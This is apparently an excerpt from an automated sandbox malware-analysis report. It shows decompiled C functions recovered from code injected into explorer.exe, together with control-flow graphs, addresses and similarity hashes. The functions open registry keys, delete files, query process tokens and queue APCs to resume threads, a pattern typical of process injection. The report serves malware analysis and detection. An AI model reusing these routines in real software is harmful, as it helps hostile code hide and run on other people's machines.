                                                                                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 823142352-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: 161c63fc133777bf8af533913fba02157b7e8c9718c9c7d55b14d76dbd49d065
                                                                                                                                                                                                                                                                                                      • Instruction ID: 858e5ffbcd074c95cde9ca6d76de0a6d27da013a454549e5ae301659868e6ee9
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 161c63fc133777bf8af533913fba02157b7e8c9718c9c7d55b14d76dbd49d065
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7D211F75A50209EBEB14DF94CC46FEE77B8AF48740F108158E6446B2D0CBB6A949CB94
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 527 10fb230-10fb24f 528 10fb259-10fb277 call 10fad90 527->528 529 10fb251-10fb254 527->529 533 10fb2ff 528->533 534 10fb27d-10fb2e2 call 10f16e0 * 2 NtOpenKey 528->534 530 10fb302-10fb305 529->530 533->530 540 10fb2e4-10fb2ec 534->540 541 10fb2f3-10fb2f7 call 10f7700 534->541 540->541 543 10fb2fc 541->543 543->533
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 90%
                                                                                                                                                                                                                                                                                                      			E010FB230(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, long _a16, intOrPtr* _a20) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				void* _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				long _v24;
                                                                                                                                                                                                                                                                                                      				char _v32;
                                                                                                                                                                                                                                                                                                      				void* _v36;
                                                                                                                                                                                                                                                                                                      				void* _v40;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v44;
                                                                                                                                                                                                                                                                                                      				char* _v48;
                                                                                                                                                                                                                                                                                                      				void* _v52;
                                                                                                                                                                                                                                                                                                      				void* _v56;
                                                                                                                                                                                                                                                                                                      				void* _t35;
                                                                                                                                                                                                                                                                                                      				long _t43;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				_v20 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a20 != 0) {
                                                                                                                                                                                                                                                                                                      					_t35 = E010FAD90(_a4, _a8, _a12,  &_v8,  &_v20); // executed
                                                                                                                                                                                                                                                                                                      					if(_t35 != 0) {
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						_push( &_v32);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x15c))))();
                                                                                                                                                                                                                                                                                                      						_v56 = 0x18;
                                                                                                                                                                                                                                                                                                      						_v52 = 0;
                                                                                                                                                                                                                                                                                                      						_v44 = 0x40;
                                                                                                                                                                                                                                                                                                      						_v48 =  &_v32;
                                                                                                                                                                                                                                                                                                      						_v40 = 0;
                                                                                                                                                                                                                                                                                                      						_v36 = 0;
                                                                                                                                                                                                                                                                                                      						_v16 = 0;
                                                                                                                                                                                                                                                                                                      						_t50 = _a16;
                                                                                                                                                                                                                                                                                                      						E010F16E0();
                                                                                                                                                                                                                                                                                                      						_t43 = NtOpenKey( &_v16, _a16,  &_v56); // executed
                                                                                                                                                                                                                                                                                                      						_v24 = _t43;
                                                                                                                                                                                                                                                                                                      						if(_v24 >= 0) {
                                                                                                                                                                                                                                                                                                      							_t50 = _a20;
                                                                                                                                                                                                                                                                                                      							 *_a20 = _v16;
                                                                                                                                                                                                                                                                                                      							_v12 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E010F7700(_t50, _v8); // executed
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v12;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v12;
                                                                                                                                                                                                                                                                                                      			}

















                                                                                                                                                                                                                                                                                                      0x010fb236
                                                                                                                                                                                                                                                                                                      0x010fb23d
                                                                                                                                                                                                                                                                                                      0x010fb244
                                                                                                                                                                                                                                                                                                      0x010fb24f
                                                                                                                                                                                                                                                                                                      0x010fb26d
                                                                                                                                                                                                                                                                                                      0x010fb277
                                                                                                                                                                                                                                                                                                      0x010fb280
                                                                                                                                                                                                                                                                                                      0x010fb284
                                                                                                                                                                                                                                                                                                      0x010fb290
                                                                                                                                                                                                                                                                                                      0x010fb292
                                                                                                                                                                                                                                                                                                      0x010fb299
                                                                                                                                                                                                                                                                                                      0x010fb2a0
                                                                                                                                                                                                                                                                                                      0x010fb2aa
                                                                                                                                                                                                                                                                                                      0x010fb2ad
                                                                                                                                                                                                                                                                                                      0x010fb2b4
                                                                                                                                                                                                                                                                                                      0x010fb2bb
                                                                                                                                                                                                                                                                                                      0x010fb2c6
                                                                                                                                                                                                                                                                                                      0x010fb2ce
                                                                                                                                                                                                                                                                                                      0x010fb2d9
                                                                                                                                                                                                                                                                                                      0x010fb2db
                                                                                                                                                                                                                                                                                                      0x010fb2e2
                                                                                                                                                                                                                                                                                                      0x010fb2e4
                                                                                                                                                                                                                                                                                                      0x010fb2ea
                                                                                                                                                                                                                                                                                                      0x010fb2ec
                                                                                                                                                                                                                                                                                                      0x010fb2ec
                                                                                                                                                                                                                                                                                                      0x010fb2f7
                                                                                                                                                                                                                                                                                                      0x010fb2fc
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010fb2ff
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtOpenKey.NTDLL(00000000,?,00000018), ref: 010FB2D9
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Open
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 71445658-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: b6004d125d7dde8505a13d1a5131234315b6b9522ec54218151af61cfbee3b4e
                                                                                                                                                                                                                                                                                                      • Instruction ID: a8e2e66dab8d89280262ee7b31508678d0e0546e78a85dbe1a0b1a342c4bcc30
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b6004d125d7dde8505a13d1a5131234315b6b9522ec54218151af61cfbee3b4e
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FF21E7B5D00209EFDB04DFD4D985BEEBBB8AF48304F108199EA15AB240D775AA44CFA1
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 544 10f6a50-10f6a61 545 10f6a6b-10f6aa0 call 10f63c0 call 10f16e0 544->545 546 10f6a63-10f6a66 544->546 553 10f6b05 545->553 554 10f6aa2-10f6ae3 call 10f16e0 NtDeleteFile 545->554 547 10f6b08-10f6b0b 546->547 553->547 557 10f6aec-10f6b00 call 10fd560 call 10f16e0 554->557 558 10f6ae5 554->558 557->553 558->557
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 66%
                                                                                                                                                                                                                                                                                                      			E010F6A50(intOrPtr _a4) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				long _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v20;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v28;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v32;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v36;
                                                                                                                                                                                                                                                                                                      				char* _v40;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v44;
                                                                                                                                                                                                                                                                                                      				void* _v48;
                                                                                                                                                                                                                                                                                                      				long _t33;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					E010F63C0(_a4, 0x20, 0); // executed
                                                                                                                                                                                                                                                                                                      					_v16 = 0;
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v24);
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					if(( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      						_v48 = 0x18;
                                                                                                                                                                                                                                                                                                      						_v44 = 0;
                                                                                                                                                                                                                                                                                                      						_v36 = 0x40;
                                                                                                                                                                                                                                                                                                      						_v40 =  &_v24;
                                                                                                                                                                                                                                                                                                      						_v32 = 0;
                                                                                                                                                                                                                                                                                                      						_v28 = 0;
                                                                                                                                                                                                                                                                                                      						E010F16E0();
                                                                                                                                                                                                                                                                                                      						_t33 = NtDeleteFile( &_v48); // executed
                                                                                                                                                                                                                                                                                                      						_v12 = _t33;
                                                                                                                                                                                                                                                                                                      						if(_v12 >= 0) {
                                                                                                                                                                                                                                                                                                      							_v8 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v20);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( *((intOrPtr*)(E010FD560() + 0x18)));
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x28))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v8;
                                                                                                                                                                                                                                                                                                      			}















                                                                                                                                                                                                                                                                                                      0x010f6a56
                                                                                                                                                                                                                                                                                                      0x010f6a61
                                                                                                                                                                                                                                                                                                      0x010f6a73
                                                                                                                                                                                                                                                                                                      0x010f6a7b
                                                                                                                                                                                                                                                                                                      0x010f6a82
                                                                                                                                                                                                                                                                                                      0x010f6a84
                                                                                                                                                                                                                                                                                                      0x010f6a89
                                                                                                                                                                                                                                                                                                      0x010f6a8d
                                                                                                                                                                                                                                                                                                      0x010f6aa0
                                                                                                                                                                                                                                                                                                      0x010f6aa2
                                                                                                                                                                                                                                                                                                      0x010f6aa9
                                                                                                                                                                                                                                                                                                      0x010f6ab0
                                                                                                                                                                                                                                                                                                      0x010f6aba
                                                                                                                                                                                                                                                                                                      0x010f6abd
                                                                                                                                                                                                                                                                                                      0x010f6ac4
                                                                                                                                                                                                                                                                                                      0x010f6acf
                                                                                                                                                                                                                                                                                                      0x010f6ada
                                                                                                                                                                                                                                                                                                      0x010f6adc
                                                                                                                                                                                                                                                                                                      0x010f6ae3
                                                                                                                                                                                                                                                                                                      0x010f6ae5
                                                                                                                                                                                                                                                                                                      0x010f6ae5
                                                                                                                                                                                                                                                                                                      0x010f6aef
                                                                                                                                                                                                                                                                                                      0x010f6af0
                                                                                                                                                                                                                                                                                                      0x010f6afa
                                                                                                                                                                                                                                                                                                      0x010f6b03
                                                                                                                                                                                                                                                                                                      0x010f6b03
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f6b05
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtDeleteFile.NTDLL(00000018), ref: 010F6ADA
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: DeleteFile
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 4033686569-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: c541ff0ecf06533be3bc4b23d471f426a127f7a22ce620f886b4749ed8818ac8
                                                                                                                                                                                                                                                                                                      • Instruction ID: 6d95b9263335880cf150b62628a5ceded6f089cc3cf5cb23caa5d4d82e99ce39
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c541ff0ecf06533be3bc4b23d471f426a127f7a22ce620f886b4749ed8818ac8
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 90113071900209EFDB04DFE4C889BEE7BF4AF48304F10815CE6446B680C776AA48CFA4
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 563 10f9240-10f9259 call 10fd560 566 10f925b-10f9270 call 10f97f0 563->566 567 10f92c6-10f9311 call 10f16e0 563->567 572 10f9272-10f92ac call 10f16e0 * 2 NtQueryInformationToken 566->572 573 10f92c1 566->573 574 10f934c-10f9352 567->574 577 10f9313-10f9333 call 10f16e0 567->577 587 10f92ae-10f92b1 572->587 588 10f92b4-10f92bf call 10f16e0 NtClose 572->588 573->574 585 10f933b-10f9344 call 10f16e0 577->585 586 10f9335-10f9338 577->586 585->574 586->585 587->588 588->573
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 38%
                                                                                                                                                                                                                                                                                                      			E010F9240() {
                                                                                                                                                                                                                                                                                                      				void* _v8;
                                                                                                                                                                                                                                                                                                      				char _v12;
                                                                                                                                                                                                                                                                                                      				char _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				char _v28;
                                                                                                                                                                                                                                                                                                      				char _v31;
                                                                                                                                                                                                                                                                                                      				char _v32;
                                                                                                                                                                                                                                                                                                      				char _v33;
                                                                                                                                                                                                                                                                                                      				char _v34;
                                                                                                                                                                                                                                                                                                      				char _v35;
                                                                                                                                                                                                                                                                                                      				char _v36;
                                                                                                                                                                                                                                                                                                      				void* _t53;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				if( *((intOrPtr*)(E010FD560() + 0xa4)) <= 5) {
                                                                                                                                                                                                                                                                                                      					_v36 = 0;
                                                                                                                                                                                                                                                                                                      					_v35 = 0;
                                                                                                                                                                                                                                                                                                      					_v34 = 0;
                                                                                                                                                                                                                                                                                                      					_v33 = 0;
                                                                                                                                                                                                                                                                                                      					_v32 = 0;
                                                                                                                                                                                                                                                                                                      					_v31 = 5;
                                                                                                                                                                                                                                                                                                      					_v12 = 0;
                                                                                                                                                                                                                                                                                                      					_push( &_v12);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0x220);
                                                                                                                                                                                                                                                                                                      					_push(0x20);
                                                                                                                                                                                                                                                                                                      					_push(2);
                                                                                                                                                                                                                                                                                                      					_push( &_v36);
                                                                                                                                                                                                                                                                                                      					if( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x230))))() != 0) {
                                                                                                                                                                                                                                                                                                      						_v28 = 0;
                                                                                                                                                                                                                                                                                                      						_push( &_v28);
                                                                                                                                                                                                                                                                                                      						_push(_v12);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						if( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x234))))() != 0) {
                                                                                                                                                                                                                                                                                                      							_v16 = _v28;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v12);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x238))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v8 = E010F97F0(0, 0xffffffff, 8);
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      						_push(4);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( &_v24);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      						_v20 = 4;
                                                                                                                                                                                                                                                                                                      						_push( &_v20);
                                                                                                                                                                                                                                                                                                      						_push(_v20);
                                                                                                                                                                                                                                                                                                      						_push( &_v24);
                                                                                                                                                                                                                                                                                                      						_push(0x14);
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						_t53 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xb4))))(); // executed
                                                                                                                                                                                                                                                                                                      						if(_t53 >= 0) {
                                                                                                                                                                                                                                                                                                      							_v16 = _v24;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E010F16E0();
                                                                                                                                                                                                                                                                                                      						NtClose(_v8); // executed
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v16;
                                                                                                                                                                                                                                                                                                      			}
















                                                                                                                                                                                                                                                                                                      0x010f9246
                                                                                                                                                                                                                                                                                                      0x010f9259
                                                                                                                                                                                                                                                                                                      0x010f92c6
                                                                                                                                                                                                                                                                                                      0x010f92ca
                                                                                                                                                                                                                                                                                                      0x010f92ce
                                                                                                                                                                                                                                                                                                      0x010f92d2
                                                                                                                                                                                                                                                                                                      0x010f92d6
                                                                                                                                                                                                                                                                                                      0x010f92da
                                                                                                                                                                                                                                                                                                      0x010f92de
                                                                                                                                                                                                                                                                                                      0x010f92e8
                                                                                                                                                                                                                                                                                                      0x010f92e9
                                                                                                                                                                                                                                                                                                      0x010f92eb
                                                                                                                                                                                                                                                                                                      0x010f92ed
                                                                                                                                                                                                                                                                                                      0x010f92ef
                                                                                                                                                                                                                                                                                                      0x010f92f1
                                                                                                                                                                                                                                                                                                      0x010f92f3
                                                                                                                                                                                                                                                                                                      0x010f92f5
                                                                                                                                                                                                                                                                                                      0x010f92fa
                                                                                                                                                                                                                                                                                                      0x010f92fc
                                                                                                                                                                                                                                                                                                      0x010f9301
                                                                                                                                                                                                                                                                                                      0x010f9311
                                                                                                                                                                                                                                                                                                      0x010f9313
                                                                                                                                                                                                                                                                                                      0x010f931d
                                                                                                                                                                                                                                                                                                      0x010f9321
                                                                                                                                                                                                                                                                                                      0x010f9322
                                                                                                                                                                                                                                                                                                      0x010f9333
                                                                                                                                                                                                                                                                                                      0x010f9338
                                                                                                                                                                                                                                                                                                      0x010f9338
                                                                                                                                                                                                                                                                                                      0x010f933e
                                                                                                                                                                                                                                                                                                      0x010f934a
                                                                                                                                                                                                                                                                                                      0x010f934a
                                                                                                                                                                                                                                                                                                      0x010f925b
                                                                                                                                                                                                                                                                                                      0x010f9269
                                                                                                                                                                                                                                                                                                      0x010f9270
                                                                                                                                                                                                                                                                                                      0x010f9272
                                                                                                                                                                                                                                                                                                      0x010f9274
                                                                                                                                                                                                                                                                                                      0x010f9279
                                                                                                                                                                                                                                                                                                      0x010f9282
                                                                                                                                                                                                                                                                                                      0x010f9284
                                                                                                                                                                                                                                                                                                      0x010f928e
                                                                                                                                                                                                                                                                                                      0x010f9292
                                                                                                                                                                                                                                                                                                      0x010f9296
                                                                                                                                                                                                                                                                                                      0x010f9297
                                                                                                                                                                                                                                                                                                      0x010f929c
                                                                                                                                                                                                                                                                                                      0x010f92a8
                                                                                                                                                                                                                                                                                                      0x010f92ac
                                                                                                                                                                                                                                                                                                      0x010f92b1
                                                                                                                                                                                                                                                                                                      0x010f92b1
                                                                                                                                                                                                                                                                                                      0x010f92b8
                                                                                                                                                                                                                                                                                                      0x010f92bf
                                                                                                                                                                                                                                                                                                      0x010f92bf
                                                                                                                                                                                                                                                                                                      0x010f92c1
                                                                                                                                                                                                                                                                                                      0x010f9352

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtQueryInformationToken.NTDLL(00000000,00000014,?,00000004,00000004), ref: 010F92A8
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 010F92BF
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CloseInformationQueryToken
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3130709563-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 81aa41bc9c35e801df380c9da83d5ec1c14bc4383aafe8ae8dbc9a004f928d4e
                                                                                                                                                                                                                                                                                                      • Instruction ID: 8fe3735d004fcf90a6cd0d3cae406767410286ae22c4a5989e36313c3bccdc82
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 81aa41bc9c35e801df380c9da83d5ec1c14bc4383aafe8ae8dbc9a004f928d4e
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AE310174A0420AEADB00DBE8C886FEE77B4AF58744F14419CE354AB2D1DB759A04CBA5
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 593 10fa500-10fa511 594 10fa51b-10fa534 call 10fa310 593->594 595 10fa513-10fa516 593->595 599 10fa54b-10fa54f 594->599 600 10fa536-10fa548 call 10fa140 594->600 596 10fa5c1-10fa5c4 595->596 602 10fa5be 599->602 603 10fa551-10fa573 call 10f16e0 RtlQueueApcWow64Thread 599->603 600->599 602->596 607 10fa5a5-10fa5bb call 10f9b90 603->607 608 10fa575-10fa5a3 call 10f16e0 * 2 NtResumeThread 603->608 607->602 608->602
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 62%
                                                                                                                                                                                                                                                                                                      			E010FA500(intOrPtr _a4, void* _a8, intOrPtr _a12) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				long* _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t27;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t31;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t40;
                                                                                                                                                                                                                                                                                                      				void* _t50;
                                                                                                                                                                                                                                                                                                      				void* _t51;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_t42 = _a4;
                                                                                                                                                                                                                                                                                                      					_t27 = E010FA310(_a4, _a4, 0, _a12); // executed
                                                                                                                                                                                                                                                                                                      					_t51 = _t50 + 0xc;
                                                                                                                                                                                                                                                                                                      					_v8 = _t27;
                                                                                                                                                                                                                                                                                                      					if(_v8 == 0xffffffff) {
                                                                                                                                                                                                                                                                                                      						_t40 = E010FA140(_t42, _a4, 0, _a12);
                                                                                                                                                                                                                                                                                                      						_t51 = _t51 + 0xc;
                                                                                                                                                                                                                                                                                                      						_v8 = _t40;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0xffffffff) {
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						_push(_a8);
                                                                                                                                                                                                                                                                                                      						_t31 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xa8))))(); // executed
                                                                                                                                                                                                                                                                                                      						_v16 = _t31;
                                                                                                                                                                                                                                                                                                      						if(_v16 < 0) {
                                                                                                                                                                                                                                                                                                      							_v12 = E010F9B90(_a4, _v8, 0, 0, 0);
                                                                                                                                                                                                                                                                                                      						} else {
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(1);
                                                                                                                                                                                                                                                                                                      							_push(_a8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xac))))();
                                                                                                                                                                                                                                                                                                      							E010F16E0();
                                                                                                                                                                                                                                                                                                      							NtResumeThread(_a8, 0); // executed
                                                                                                                                                                                                                                                                                                      							_v12 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v12;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v12;
                                                                                                                                                                                                                                                                                                      			}











                                                                                                                                                                                                                                                                                                      0x010fa506
                                                                                                                                                                                                                                                                                                      0x010fa511
                                                                                                                                                                                                                                                                                                      0x010fa521
                                                                                                                                                                                                                                                                                                      0x010fa525
                                                                                                                                                                                                                                                                                                      0x010fa52a
                                                                                                                                                                                                                                                                                                      0x010fa52d
                                                                                                                                                                                                                                                                                                      0x010fa534
                                                                                                                                                                                                                                                                                                      0x010fa540
                                                                                                                                                                                                                                                                                                      0x010fa545
                                                                                                                                                                                                                                                                                                      0x010fa548
                                                                                                                                                                                                                                                                                                      0x010fa548
                                                                                                                                                                                                                                                                                                      0x010fa54f
                                                                                                                                                                                                                                                                                                      0x010fa551
                                                                                                                                                                                                                                                                                                      0x010fa553
                                                                                                                                                                                                                                                                                                      0x010fa555
                                                                                                                                                                                                                                                                                                      0x010fa55a
                                                                                                                                                                                                                                                                                                      0x010fa55e
                                                                                                                                                                                                                                                                                                      0x010fa56a
                                                                                                                                                                                                                                                                                                      0x010fa56c
                                                                                                                                                                                                                                                                                                      0x010fa573
                                                                                                                                                                                                                                                                                                      0x010fa5bb
                                                                                                                                                                                                                                                                                                      0x010fa575
                                                                                                                                                                                                                                                                                                      0x010fa575
                                                                                                                                                                                                                                                                                                      0x010fa577
                                                                                                                                                                                                                                                                                                      0x010fa579
                                                                                                                                                                                                                                                                                                      0x010fa57e
                                                                                                                                                                                                                                                                                                      0x010fa58a
                                                                                                                                                                                                                                                                                                      0x010fa592
                                                                                                                                                                                                                                                                                                      0x010fa59a
                                                                                                                                                                                                                                                                                                      0x010fa59c
                                                                                                                                                                                                                                                                                                      0x010fa59c
                                                                                                                                                                                                                                                                                                      0x010fa573
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010fa5be
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • RtlQueueApcWow64Thread.NTDLL(00000000,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 010FA56A
                                                                                                                                                                                                                                                                                                      • NtResumeThread.NTDLL(00000000,00000000), ref: 010FA59A
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Thread$QueueResumeWow64
                                                                                                                                                                                                                                                                                                      • String ID:
